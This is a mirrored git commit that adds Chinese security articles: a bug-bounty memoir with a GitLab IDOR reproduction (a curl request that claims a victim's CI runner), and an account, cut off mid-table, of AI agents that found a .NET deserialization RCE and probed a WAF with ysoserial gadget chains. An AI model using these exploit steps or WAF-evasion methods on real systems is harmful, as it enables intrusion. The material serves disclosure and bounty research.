mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
赏金实战｜从修改地址到远程代码执行，服务端原型链污染的威力有多可怕？、AI渗透的拐点已至？我是如何通过AI纯黑盒挖到通用产品的9.8分RCE 0day漏洞、【通知】华住SRC暂停漏洞测试公告、StubZero：Google Cloud生产环境RCE漏洞，奖金148,337美元、厦门四信通信 水利信息化平台 index.do 存在SQL注入漏洞、dddd改版：更聪明的资产发现&漏洞扫描工具、LiteSpeed cPanel 插件漏洞 CVE-2026-48172 遭利用，可获取 root 权限执行脚本、Apache Tomcat Tribes EncryptInterceptor 加密绕过反序列化漏洞分析（CVE-2026-34486）、漏洞预警 | 天地伟业Easy7 SQL注入漏洞、key泄露利用：高危漏洞一条龙漏洞利用工具、并发逻辑漏洞靶场案例、漏洞通胀时代：产品安全的三层破局架构思考、0166.从失败到获得 32,000 美元：我的漏洞赏金之旅、漏洞预警 | NGINX堆缓冲区溢出漏洞、Mythos挖出上万漏洞，AI正在把网络安全“核爆”提前、
This commit is contained in:
test committed
1 parent
c5ac018ac2
commit
fb7dace32a
16 files changed
+2964
-5
No files matched your search
@@ -21151,5 +21151,20 @@
|
||||
"https://mp.weixin.qq.com/s/98KYAIFyMCgIAdKj_Olffw": "万级漏洞AI：Anthropic秘密\"Mythos\"模型如何重塑网络韧性",
|
||||
"https://mp.weixin.qq.com/s/eu4KQdjSpJiiQ5vENQ2DZg": "JeecgBoot 指纹与漏洞利用工具",
|
||||
"https://mp.weixin.qq.com/s/0GlPMBMGt7tshTQ4h7JvKA": "OneScan_Expand 1.1.4 更新：Java 21、SQLite 持久化与数据看板重构",
|
||||
"https://mp.weixin.qq.com/s/tfUh6yci2Nuvj_fxUESK5Q": "CVSS 9.8 【严重】CVE-2026-6279 wordpress Avada Builder 未授权RCE漏洞：call_user_func 无过滤直接沦陷"
|
||||
"https://mp.weixin.qq.com/s/tfUh6yci2Nuvj_fxUESK5Q": "CVSS 9.8 【严重】CVE-2026-6279 wordpress Avada Builder 未授权RCE漏洞：call_user_func 无过滤直接沦陷",
|
||||
"https://mp.weixin.qq.com/s/7g8KLLciQqZujzGCczy_Nw": "赏金实战｜从修改地址到远程代码执行，服务端原型链污染的威力有多可怕？",
|
||||
"https://mp.weixin.qq.com/s/--YqoyfqPOxN6HI3Mkt4yA": "AI渗透的拐点已至？我是如何通过AI纯黑盒挖到通用产品的9.8分RCE 0day漏洞",
|
||||
"https://mp.weixin.qq.com/s/6UVjSi2W_Vj-JDUbqfKLOg": "【通知】华住SRC暂停漏洞测试公告",
|
||||
"https://mp.weixin.qq.com/s/b3jAOox4jV1G9NQ2TgiGEQ": "StubZero：Google Cloud生产环境RCE漏洞，奖金148,337美元",
|
||||
"https://mp.weixin.qq.com/s/C2S4iw7AjvibVhJFHR0-BA": "厦门四信通信 水利信息化平台 index.do 存在SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/-5o6a5aRPaoPVgoGHrMZ6g": "dddd改版：更聪明的资产发现&漏洞扫描工具",
|
||||
"https://mp.weixin.qq.com/s/yFpua0TG3FhLkcVMWc9YHg": "LiteSpeed cPanel 插件漏洞 CVE-2026-48172 遭利用，可获取 root 权限执行脚本",
|
||||
"https://mp.weixin.qq.com/s/IItltbbMPC9tEu01fw6Wfg": "Apache Tomcat Tribes EncryptInterceptor 加密绕过反序列化漏洞分析（CVE-2026-34486）",
|
||||
"https://mp.weixin.qq.com/s/0sR9rFg9YThUWiuHEEIBwg": "漏洞预警 | 天地伟业Easy7 SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/mVAPxYLBauokKWrYUe-o5g": "key泄露利用：高危漏洞一条龙漏洞利用工具",
|
||||
"https://mp.weixin.qq.com/s/sQiHk__-XZoZ06PcyKPBAA": "并发逻辑漏洞靶场案例",
|
||||
"https://mp.weixin.qq.com/s/4WDDPxwlyAnK1-q4pb-Vfw": "漏洞通胀时代：产品安全的三层破局架构思考",
|
||||
"https://mp.weixin.qq.com/s/Bi3Ye6Fd1RqC5gK9xUxyVQ": "0166.从失败到获得 32,000 美元：我的漏洞赏金之旅",
|
||||
"https://mp.weixin.qq.com/s/RpBBkWt-hF5fLf9X-lskAQ": "漏洞预警 | NGINX堆缓冲区溢出漏洞",
|
||||
"https://mp.weixin.qq.com/s/jnQuP2MjYgPa9ZNphKu-Ag": "Mythos挖出上万漏洞，AI正在把网络安全“核爆”提前"
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
# 0166.从失败到获得 32,000 美元：我的漏洞赏金之旅
|
||||
原创 iamgk808
|
||||
iamgk808 Rsec 2026-05-25 01:24
|
||||
|
||||
本文章仅用网络安全研究学习，请勿使用相关技术进行违法犯罪活动。
|
||||
|
||||
声明：本文搬运自互联网，如你是原作者，请联系我们！
|
||||
|
||||
类型：坚持是唯一的解药
|
||||
|
||||
|
||||
漏洞赏金计划对我来说一开始并不成功。
|
||||
|
||||
|
||||
一切始于**好奇**
|
||||
、**困惑**
|
||||
和无数次的**失败**
|
||||
。
|
||||
|
||||
|
||||
我没有深厚的安全背景。我既不“有天赋”，也不特殊，更谈不上天生才华。
|
||||
|
||||
|
||||
我也没有导师一步步指导我。
|
||||
|
||||
|
||||
本文讲述了**我为什么开始**
|
||||
，**出了什么问题**
|
||||
，**最终哪些方法奏效**
|
||||
，以及**初学者可以从我的经历中真正学到什么**
|
||||
。
|
||||
|
||||
## 我为什么开始漏洞赏金计划
|
||||
##
|
||||
|
||||
这一切始于 **2020 年**
|
||||
新冠疫情封锁期间。
|
||||
|
||||
|
||||
我当时读**大学二年级**
|
||||
，宅在家里有很多空闲时间。和许多人一样，我在网上寻找赚钱的方法，就在那时我发现了**漏洞赏金计划**
|
||||
。
|
||||
|
||||
|
||||
漏洞赏金制度感觉公开透明且公平。
|
||||
|
||||
|
||||
如果你能发现真正的安全问题，就能获得奖励。
|
||||
|
||||
|
||||
当时，我相信努力工作很快就会有回报。
|
||||
|
||||
|
||||
这种假设是错误的。
|
||||
|
||||
|
||||
但我当初开始的理由依然成立——也正是这个理由让我即使在进展缓慢的时候也坚持了下来。
|
||||
|
||||
## 我最初所做的
|
||||
##
|
||||
|
||||
起初，我主要专注于学习。
|
||||
|
||||
|
||||
我最初**在 Udemy 上学习了一门道德黑客课程**
|
||||
，还参加了 **TryHackMe**
|
||||
和 **PortSwigger 网络安全学院的**
|
||||
课程。我花了很多时间观看 YouTube 视频、阅读博客，并在 Twitter 上关注经验丰富的黑客。
|
||||
|
||||
|
||||
我尝试了解不同的漏洞和工具。我自信地提交了报告，认为它们是正确的。
|
||||
|
||||
|
||||
他们中的大多数人并非如此。
|
||||
|
||||
|
||||
不过，这些学习经历对我的帮助远不止于漏洞赏金。作为一名**计算机科学专业的学生**
|
||||
，这些知识直接帮助我顺利通过了期末考试。我能够运用所学知识，顺利通过考试，并增强了自信心。
|
||||
|
||||
|
||||
回首往事，我真的很感激这件事——因为它也间接地改善了我生活的其他方面。
|
||||
|
||||
## 我的奋斗与失败
|
||||
##
|
||||
|
||||
这一阶段是最难的。
|
||||
- 报告被拒绝
|
||||
|
||||
- 许多内容被标记为 **“信息丰富”。**
|
||||
|
||||
- 有些竟然是重复的
|
||||
|
||||
-
|
||||
看到别人在网上晒出他们的胜利，反而让我更加难过。
|
||||
|
||||
自我怀疑开始慢慢滋生。有时，我真的觉得自己不够好。我认真地问自己，是应该继续下去还是就此放弃。
|
||||
|
||||
|
||||
但回首往事，这段经历对我的影响远胜于我曾经取得的任何成功。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
奋斗与失败——iamgk808 漏洞赏金
|
||||
|
||||
|
||||
## 我的首胜
|
||||
|
||||
我的第一个真正意义上的 bug 并没有很快出现。
|
||||
|
||||
|
||||
两年后， 2022 年 5 月 6 日 ，我收到了我的第一笔赏金—— 来自 Facebook 的 500 美元 。
|
||||
|
||||
|
||||
但当这件事最终发生时，一切都改变了。
|
||||
|
||||
|
||||
这与报酬无关。
|
||||
|
||||
这是为了**获得认可**
|
||||
。
|
||||
|
||||
|
||||
我第一次意识到，这不是运气。
|
||||
|
||||
|
||||
这是**学习**
|
||||
技能 **努力的**
|
||||
、**和**
|
||||
回报。
|
||||
|
||||
|
||||
那一刻我欣喜若狂。换算成印度卢比，大约是 **4 万卢比**
|
||||
，当时我觉得这是一笔巨款。就连我的父母都不敢相信这是真的钱。
|
||||
|
||||
|
||||
那份报告改变了我对漏洞赏金的看法，也改变了我对自己的信心。
|
||||
|
||||
|
||||
|
||||
我的第一次胜利——iamgk808 漏洞赏金
|
||||
|
||||
## 我一路走来学到的东西
|
||||
##
|
||||
|
||||
漏洞赏金计划教会了我一些重要的经验：
|
||||
- 漏洞赏金计划既有**好处也有坏处。**
|
||||
|
||||
- 这是一场**马拉松，而不是短跑。**
|
||||
|
||||
- 被拒绝是流程中的正常环节。
|
||||
|
||||
- **持之以恒胜过一丝动力**
|
||||
- 人工搜寻通常比重型侦察更有效。
|
||||
|
||||
- 深入探索该 Web 应用程序的**每一个功能**
|
||||
。
|
||||
|
||||
- 即使感觉不到进步，也永远不要放弃。
|
||||
|
||||
- 专注于一个具有多种功能的程序
|
||||
- 我主要关注**访问控制问题**
|
||||
，例如：
|
||||
|
||||
- 权限提升
|
||||
|
||||
- 绕过权限
|
||||
|
||||
- 业务逻辑漏洞
|
||||
|
||||
进展缓慢，但却是实实在在的。
|
||||
|
||||
|
||||
|
||||
我一路走来学到的东西——iamgk808 漏洞赏金
|
||||
##
|
||||
## 我的漏洞赏金时间线
|
||||
|
||||
为了让大家对未来有更切合实际的预期，以下是我的实际旅程：
|
||||
- **2020 年 ——发现了一个漏洞赏金计划，结果一片混乱，没有发现任何有效的漏洞。**
|
||||
- **2021 年 ——实践经验、多次失败、持续的自我怀疑**
|
||||
- **2022 年 ——发现了我的第一个有效漏洞，并获得了**
|
||||
**500 美元奖励。**
|
||||
- 2023 年——专注于一个私人项目；收入约 **18,000 美元**
|
||||
|
||||
- 2024 年——公共和私人项目合计；收入约 **23,000 美元**
|
||||
|
||||
- **2025 年 ——专注于狩猎，仍在学习；收入突破 32000 美元**
|
||||
，达到约 **42000 美元。**
|
||||
|
||||
****
|
||||
没有一夜成名，只有稳步前进。
|
||||
|
||||
|
||||
在这段时间里，我经历了许多起伏、挫折和怀疑的时刻。但坚持不懈最终让我取得了成功。
|
||||
|
||||
## 给初学者的建议
|
||||
|
||||
如果你是新手，我建议你这样做：
|
||||
- 与其试图一次性学习所有内容，不如专注于一个领域。
|
||||
- 多练习，多学习
|
||||
|
||||
- 做好被拒绝的心理准备——这完全正常。
|
||||
|
||||
- 不要过早追逐金钱。
|
||||
|
||||
- 要坚持数**月**
|
||||
，而不是数天。
|
||||
|
||||
漏洞赏金是一项漫长的工作。它需要数月的持续学习，当然，运气也扮演着一定的角色。有些日子你可能连续几个小时都在搜寻却一无所获，这完全正常。
|
||||
|
||||
## 沿着这条路走
|
||||
### 1. 从基础开始
|
||||
- **TryHackMe**
|
||||
：网络安全入门、网络安全预备知识、Web 基础知识
|
||||
|
||||
- 学习 **HTTP、DNS、cookies、sessions**
|
||||
（YouTube 视频就足够了）。
|
||||
|
||||
### 2. 学习网络安全
|
||||
- **TryHackMe**
|
||||
：Web 应用程序安全，初级渗透测试员
|
||||
|
||||
- **PortSwigger Academy**
|
||||
：完整的实验（身份验证和授权问题、业务逻辑问题、IDOR 等）
|
||||
|
||||
### 3. 开始真正的漏洞搜寻
|
||||
- 加入 **HackerOne**
|
||||
、 **Bugcrowd**
|
||||
或 **Intigriti**
|
||||
|
||||
### 4. 学习工具
|
||||
- **Burp Suite**
|
||||
保持稳定发挥，剩下的就交给**技巧和运气**
|
||||
吧。
|
||||
|
||||
## 漏洞赏金是一项长期活动。
|
||||
- 寻找具有**不同角色**
|
||||
（管理员、用户等）的程序
|
||||
|
||||
- 仔细阅读文档，并查找 **“否”的表述。**
|
||||
|
||||
（例如，“此角色无法查看此内容”或“无法执行此操作”）
|
||||
|
||||
→ 然后尝试绕过这些限制
|
||||
|
||||
- 选择一个拥有多个角色和权限的大型项目，然后花 2-3 个月的时间在那里寻找机会。
|
||||
|
||||
（例如：Zoho、Fresh Works、Slack）
|
||||
|
||||
- 使用 **Google 搜索语法**
|
||||
查找涉及角色和权限的漏洞赏金计划
|
||||
|
||||
- 阅读更多**文章**
|
||||
并观察：
|
||||
|
||||
- 其他猎人关注哪些项目？
|
||||
|
||||
- 他们报告了哪些类型的错误
|
||||
|
||||
##
|
||||
## 向他人学习（循环学习）
|
||||
|
||||
想要获得更多经验，可以向其他猎人学习：
|
||||
- 例如，请查看我的 Twitter/X 个人资料：
|
||||
|
||||
https://x.com/iamgk808
|
||||
|
||||
- 阅读所有帖子，了解技巧、窍门和心态。
|
||||
|
||||
- 打开我的**关注**
|
||||
列表，浏览这些个人资料。
|
||||
|
||||
- 从这些个人资料中，查看他们的
|
||||
关注列表
|
||||
|
||||
- 重复这个过程——它就形成了一个**持续学习的循环。**
|
||||
|
||||
##
|
||||
## 真实案例验证：GitLab 案例研究（价值 32,000 美元的漏洞）
|
||||
|
||||
为了使本文更具实用性，我将分享一个真实的例子。
|
||||
|
||||
在本节中，我将简要解释：
|
||||
|
||||
|
||||
|
||||
|
||||
### 漏洞名称
|
||||
|
||||
**IDOR 能够将任何项目运行器添加到攻击者项目中，并通过 POST /api/v4/projects/{projectId}/runners 管理运行器。**
|
||||
###
|
||||
### 设置和前提条件
|
||||
|
||||
要重现此问题，您需要在 GitLab 企业版 (EE) 实例上使用两个用户：
|
||||
1. **受害者：**
|
||||
一名拥有私人项目且项目运行活跃的用户。
|
||||
|
||||
1. **攻击者：**
|
||||
拥有可以分配自定义角色的用户组用户。
|
||||
|
||||
|
||||
### 步骤 1：受害者环境设置
|
||||
1. 以**受害者**
|
||||
身份登录。
|
||||
|
||||
1. 创建一个新的私有项目（例如， victim-private-repo
|
||||
）。
|
||||
|
||||
1. 导航至**设置 > CI/CD > 运行程序**
|
||||
。
|
||||
|
||||
1. 创建一个新的**项目运行器**
|
||||
并将其注册到项目中。
|
||||
|
||||
1. 请注意 **Runner ID**
|
||||
（可在 URL 或 Runner 列表中查看）。
|
||||
|
||||
###
|
||||
### 步骤二：攻击者准备
|
||||
1. 以**攻击者**
|
||||
身份登录。
|
||||
|
||||
1. 创建一个新组（例如， attacker-group
|
||||
）。
|
||||
|
||||
1. 转到 “设置”>“角色和权限” ，创建一个基于 Guest 角色的自定义角色 ，但启用 Manage runners 权限。
|
||||
1. 使用此新的自定义角色，邀请辅助攻击者帐户（或您自己）加入此组（ attacker-project ）中的项目。
|
||||
|
||||
|
||||
### 步骤三：利用（IDOR）
|
||||
|
||||
该漏洞存在于用于将运行器与项目关联的 API 端点中。攻击者可以通过引用运行器的 ID 来“认领”受害者的运行器。
|
||||
1. 确定攻击者项目的 project_id 。
|
||||
1. 使用 curl
|
||||
或 Postman 等工具向 GitLab API 发送 **POST**
|
||||
请求：
|
||||
|
||||
```
|
||||
curl --request POST "https://gitlab.example.com/api/v4/projects/<ATTACKER_PROJECT_ID>/runners" \ --header "PRIVATE-TOKEN: <ATTACKER_TOKEN>" \ --form "runner_id=<VICTIM_RUNNER_ID>"
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
### 第四步：影响验证
|
||||
1. 导航至**攻击者的**
|
||||
项目设置：**设置 > CI/CD > 运行器**
|
||||
。
|
||||
|
||||
1. 受害者的跑图现在会出现在攻击者的项目中。
|
||||
1. 攻击者现在可以**编辑、暂停或删除**
|
||||
受害者的运行程序，从而有效地劫持受害者的 CI/CD 资源。
|
||||
|
||||
|
||||
## 影响与补救
|
||||
|
||||
这种 IDOR 允许攻击者入侵其他项目的 CI/CD 管道，如果他们能够触发被劫持的运行器上的构建，或者通过禁用实例范围内的运行器来扰乱开发工作流程，则可能导致未经授权的代码执行。
|
||||
|
||||
## 最后想说的话
|
||||
|
||||
漏洞赏金计划并没有一夜之间改变我的生活。
|
||||
|
||||
但它教会了我**耐心**
|
||||
、**解决问题的能力**
|
||||
和**自律精神**
|
||||
。
|
||||
|
||||
如果你现在遇到困难，这很正常。
|
||||
|
||||
失败并不是终点，而是过程的一部分。
|
||||
|
||||
持续学习。
|
||||
|
||||
继续测试。
|
||||
|
||||
不要过早放弃。
|
||||
## 让我们联系
|
||||
|
||||
如果您觉得这段经历对您有所帮助，并想了解更多关于漏洞赏金、心态和实际漏洞挖掘经验的信息，欢迎随时与我联系：
|
||||
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
# AI渗透的拐点已至？我是如何通过AI纯黑盒挖到通用产品的9.8分RCE 0day漏洞
|
||||
赛博生存指南 2026-05-25 03:03
|
||||
|
||||
|
||||
|
||||
## AI渗透的拐点已至？我是如何通过AI纯黑盒挖到通用产品的9.8分RCE 0day漏洞
|
||||
> 标题党了， 但是过程是真实的， 是我们在测试新的工具第一天发现了一个高价值0day的真实过程。
|
||||
|
||||
> 我们让三个 DeepSeek agent 扫描一组目标。它们从公开漏洞情报中定位到攻击面，绕过了厂商对历史漏洞的修复，拿到了 RCE。我们以为这是个已知漏洞， 直到厂商确认是新的，发了奖金。CVSS 9.8。
|
||||
|
||||
|
||||
在今天之前很多人怀疑 AI 能替代顶级红队，我们也怀疑 AI在真实攻防场景中的能力。各种各样的开源或者创业公司的项目和介绍， 总是在靶场和CTF中， 偶尔有能投入到SRC的， 从来没有公开的黑盒挖掘到高价值漏洞的案例。 我们自己的几套系统在实战中也遇到了这个问题， **AI能挖到的漏洞往往传统扫描器也能挖到**
|
||||
，只不过AI能帮忙进行复现和验证。
|
||||
|
||||
Anthropic 扫描生产级开源项目，找到了 500 多个漏洞，有些藏了几十年没人发现。他们后来的 Mythos Preview 在主流操作系统和浏览器中挖出了上千个高危 0day，包括一个藏了 27 年的 OpenBSD TCP 漏洞和一个藏了 16 年的 FFmpeg 编解码器缺陷。**这些是LLM擅长的领域，基于代码白盒审计**
|
||||
|
||||
xbow 用全自动 AI 扫描拿下了 HackerOne 全球排行榜第一，提交 1,060+ 份漏洞报告，不过HackerOne 联合创始人 Michiel Prins 的评价：量产能力强，业务深度不够。Anthropic 白盒审计找到的那 500 个开源漏洞也类似，数量可观，**但没有一个需要你理解目标业务逻辑、构造多步利用链、绕过 WAF 才能打通。**
|
||||
至于AI在高强度对抗的实战效果，目前业界还没有很好的案例。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
国内，腾讯第二届 TCH（云黑客松）可能是最接近实战，610 支参赛队伍 。我们参加了两届三个方案：第一届主要是开源的xbow的CTF题 Antix 第四，第二届更接近真实渗透场景 Bytex 第三（唯一 AK，54/54 flag）和 For Future 第七。
|
||||
|
||||
有一个共同问题， 大部分队伍的设计， 包括我们自己的三套设计， **总是想通过某种框架去提供模型在安全方面的能力， 不管是极繁还是极简的架构， 都逃不出框架的范畴。**
|
||||
|
||||
这次我们再次抛开了所有的任何样式的框架， 通过一个有趣的设计， 让AI首次在real world中发现了一个高价值0day。
|
||||
## 发现过程
|
||||
|
||||
目标是一套国内使用广泛的 ERP 系统，在多次 HW 和红蓝对抗中频繁出现。我和几个做红队的朋友都审计过这套系统的源码，到 2026 年能挖的漏洞已经不多了。
|
||||
### Phase 1: 侦察（DeepSeek，~17:50）
|
||||
|
||||
aiscan agent 收到任务后，执行了以下工具调用链：
|
||||
```
|
||||
1. spray → 4个目标跑指纹/敏感文件/爬虫 → 全部失败 (yaml decoder bug)2. web_search × 7 → 搜索目标漏洞情报 └─ 命中: 多个已知 CVE (SSTI, 路径遍历, 反序列化)3. cyberhub_search → 搜索相关 POC 模板4. bash (curl) × 4 → 探测4个目标首页5. bash (curl) × 4 → 探测常见路径 (/admin /swagger /actuator /.env /.git ...)6. bash (curl) → 发现业务服务路径返回 200 └─ 4个服务端点均可达
|
||||
```
|
||||
|
||||
spray 因为 yaml 解析 bug 全部失败，但 agent 没有停下来。它切换到 web_search 搜索目标相关的公开漏洞情报，然后用 curl 逐路径探测。在发现某个路径返回 200 后，agent 进一步探测该路径下的子端点，确认了4个活跃的业务服务接口。
|
||||
|
||||
Phase 1 产出：目标平台在线、4个业务服务端点、产品版本号、已知 CVE 列表。耗时约10分钟。
|
||||
### Phase 2: 验证（DeepSeek，~18:00）
|
||||
|
||||
Verify agent 的工具调用链更长，也更有针对性：
|
||||
```
|
||||
1. web_search × 3 → 搜索 'BinaryFormatter exploit'2. web_fetch × 4 → 抓取 POC 源码 ├─ GitHub 安全公告 → 漏洞确认 ├─ POC 合集 → 利用代码 └─ 技术分析博客 → 学到关键路由参数3. bash × 18 → 逐个验证端点 ├─ 默认口令登录尝试 → 404 (已切换OAuth2) ├─ 文件上传接口 → 404 ├─ 路径遍历 CVE → 404 或 WAF 418 ├─ 带路由参数的服务端点 → HTTP 200 ← 行为变化 ├─ format=2 → 响应泄露: 二进制序列化已启用 └─ format=3 → 触发 DeserializeParameters 调用, 完整堆栈泄露
|
||||
```
|
||||
|
||||
这个阶段的关键转折是 agent 从一篇公开的技术分析文章中学到了一个路由参数。不带该参数时端点返回 404，带上后返回 200 并进入了服务处理管道。agent 随后测试了不同的 format
|
||||
值，发现 format=2
|
||||
的响应中包含配置信息——二进制序列化已启用，默认格式为 Binary。而 format=3
|
||||
直接触发了 BinaryFormatter.Deserialize()
|
||||
调用，服务端返回了完整的 .NET 异常堆栈。
|
||||
|
||||
Phase 2 产出：确认 BinaryFormatter 反序列化入口、二进制序列化配置已启用、4个端点均受影响、完整的 .NET 技术栈信息泄露。
|
||||
### Phase 3: 利用尝试（DeepSeek，~18:30）
|
||||
|
||||
Exploit agent 从公开来源找到了完整的利用方法：
|
||||
```
|
||||
1. web_search × 5 → 搜索 'BinaryFormatter ysoserial exploit'2. web_fetch × 4 → 抓取实际 exploit 代码 ├─ Python RCE 脚本 (含完整 payload 构造) └─ 完整漏洞分析 (含路由参数来源和利用原理)3. bash × 7 → 端点确认 + 参数测试4. write × 2 → 尝试写 payload 文件 → JSON 截断失败5. bash × 5 → 尝试发送 exploit → 全部截断失败
|
||||
```
|
||||
|
||||
agent 正确理解了利用链的每个环节，但在生成 payload 时遇到了 DeepSeek 模型的输出长度限制。BinaryFormatter 序列化数据经过 Base64 编码后通常有数千字节，超出了模型单次输出的 token 上限，导致 JSON 被截断。
|
||||
|
||||
这是当前 LLM 在漏洞利用领域的一个真实边界：信息收集和漏洞理解没有问题，但精确的二进制 payload 生成不是 token 预测模型的强项。
|
||||
### Phase 4-5: 验证与 RCE（Claude Opus 4.6，~18:15-19:00）
|
||||
|
||||
到这个阶段，三轮 DeepSeek agent 已经在 IOA Space 中积累了大量发现。人类通过 Claude Code 读取了消息图中的工具调用日志，看到了 agent 报告的反序列化入口和堆栈泄露——但这些可能是幻觉。需要用更强的模型去实际验证。
|
||||
|
||||
切换到 Claude Opus 4.6 后，验证分为几个阶段。
|
||||
|
||||
**确认反序列化入口。**
|
||||
向 agent 发现的端点发送一个 System.Data.DataSet
|
||||
的 BinaryFormatter 序列化对象：
|
||||
```
|
||||
POST /[REDACTED]/ServiceGateway.svc HTTP/1.1Content-Type: application/json{"ap0":"<base64-encoded DataSet>","format":"3"}
|
||||
```
|
||||
|
||||
服务端返回：
|
||||
```
|
||||
"类型'System.Data.DataSet'的对象无法转换为类型'[REDACTED].BusinessInfo'"
|
||||
```
|
||||
|
||||
这条错误说明 **** 反序列化已经成功执行——DataSet 被正确还原了，只是在后续类型转换时失败。任意 .NET 对象都会在服务端被反序列化。DeepSeek 的发现得到了确认。
|
||||
|
||||
**WAF 规则定位。**
|
||||
用 ysoserial.net 生成标准 gadget chain（TypeConfuseDelegate、WindowsIdentity、ClaimsPrincipal 等），全部返回 HTTP 406——存在 WAF。
|
||||
|
||||
为了找到 WAF 的具体拦截规则，采用二分法逐步增加 payload 字节数：
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">发送字节数</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">HTTP 响应</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf=""><br/></span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">前 500 字节</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">200</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">前 1000 字节</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">200</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">前 1300 字节</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">200</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">前 1356 字节</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">200</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">前 1357 字节</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">406</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">← 触发点</span></section></td></tr></tbody></table>
|
||||
|
||||
对偏移 1327-1367 的 hex dump：
|
||||
```
|
||||
Offset 1327-1367:HEX: 39 5D 2C **** .... 63 73 2E 50 72 6F 63 65 73 73 ...ASCII: 9],[*** ...
|
||||
```
|
||||
|
||||
WAF 的检测规则是匹配序列化数据中的 ***
|
||||
类名。所有通过 ***
|
||||
执行命令的标准 gadget chain 都包含这个特征。
|
||||
|
||||
不同 gadget chain 的 WAF 测试结果：
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">Gadget Chain</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">包含 Process 特征</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">WAF 结果</span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">TypeConfuseDelegate</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">是</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">406 拦截</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">WindowsIdentity</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">是</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">406 拦截</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">ClaimsPrincipal</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">是</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: 